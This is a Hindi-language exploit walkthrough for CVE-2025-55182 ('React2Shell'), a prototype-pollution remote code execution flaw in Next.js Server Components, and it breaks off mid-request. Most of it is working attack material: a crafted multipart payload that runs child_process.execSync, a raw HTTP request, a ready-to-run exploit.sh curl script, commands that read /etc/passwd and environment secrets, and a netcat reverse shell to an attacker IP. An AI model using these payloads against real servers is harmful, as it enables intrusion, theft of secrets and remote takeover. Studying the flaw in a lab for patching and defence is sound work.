
CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर कमजोरी है जो React Server Components (RSC) और Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है।
⚠️ अस्वीकृति: यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध इन तकनीकों का कोई अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।
CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, Next.js एप्लिकेशनों को प्रभावित करने वाली एक गंभीर कमजोरी है जो उपयोग करते हैं:
एक हमलावर निम्नलिखित का शोषण करके सर्वर पर रिमोट कोड एक्जीक्यूशन (RCE) प्राप्त कर सकता है:
__proto__ और constructor के माध्यम से प्रोटोटाइप प्रदूषणपरिणाम: Node.js प्रक्रिया के विशेषाधिकारों के साथ मनमानी सिस्टम कमांड निष्पादित की जा सकती हैं।
Next.js क्लाइंट और सर्वर के बीच संचार के लिए एक मालिकाना मल्टीपार्ट/फॉर्म-डेटा प्रोटोकॉल का उपयोग करता है:
क्लाइंट (ब्राउज़र)
↓
[मल्टीपार्ट/फॉर्म-डेटा RSC पेलोड]
↓
Next.js सर्वर
↓
डिसीरियलाइज़ेशन + निष्पादन
↓
प्रतिक्रिया
कमज़ोरी इसलिए मौजूद है क्योंकि:
__proto__, constructor)एक हमलावर एक पेलोड तैयार कर सकता है जो आंतरिक ऑब्जेक्ट गुणों को संशोधित करता है:
{
"then": "$1:__proto__:then", // प्रोटोटाइप श्रृंखला को लक्षित करता है
"_response": {
"_prefix": "malicious code here" // कोड इंजेक्शन
}
}
__proto__ का शोषण करके, हमलावर जावास्क्रिप्ट ऑब्जेक्ट के प्रोटोटाइप को प्रदूषित करता है, जो उससे प्राप्त सभी ऑब्जेक्ट को प्रभावित करता है।
_prefix फ़ील्ड के अंदर, हमलावर जावास्क्रिप्ट कोड इंजेक्ट करता है जो:
process.mainModule.require() के माध्यम से Node.js मॉड्यूल तक पहुँचता हैchild_process मॉड्यूल लोड करता हैexecSync() का उपयोग करके सिस्टम कमांड निष्पादित करता हैvar res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
कमांड का परिणाम त्रुटि प्रतिक्रिया में छिपा होता है:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js यह त्रुटि क्लाइंट को लौटाता है, और कमांड आउटपुट digest फ़ील्ड में दिखाई देता है।
# PoC को क्लोन करें
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Node.js 20 स्थापित करें
nvm install 20
nvm use 20
# निर्भरताएँ स्थापित करें
cd test-server
npm install
npm run dev
सर्वर अब यहाँ उपलब्ध है:
http://localhost:3000
curl http://localhost:3000/
इस चरण में, सर्वर सामान्य रूप से व्यवहार करता है।
http://localhost:3000/ तक पहुँचेंएक GET अनुरोध अवरोधित किया जाएगा। इसे Repeater टैब पर भेजें:
पूरे अनुरोध को निम्नलिखित पेलोड से बदलें:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Send पर क्लिक करें
एक फ़ाइल exploit.sh बनाएँ:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# पेलोड बनाएँ
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# कमांड बदलें
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# अनुरोध भेजें
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
इसे निष्पादन योग्य बनाएँ:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
पूर्ण इंटरैक्टिव शेल पहुँच प्राप्त करने के लिए, रिवर्स शेल का उपयोग करें।
ncat -lvnp 9009
या netcat के साथ:
nc -lvnp 9009
निम्नलिखित कमांड के साथ पेलोड को संशोधित करें (<ATTACKER_IP> को अपने IP पते से बदलें):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
पूरा पेलोड इस प्रकार हो जाता है:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"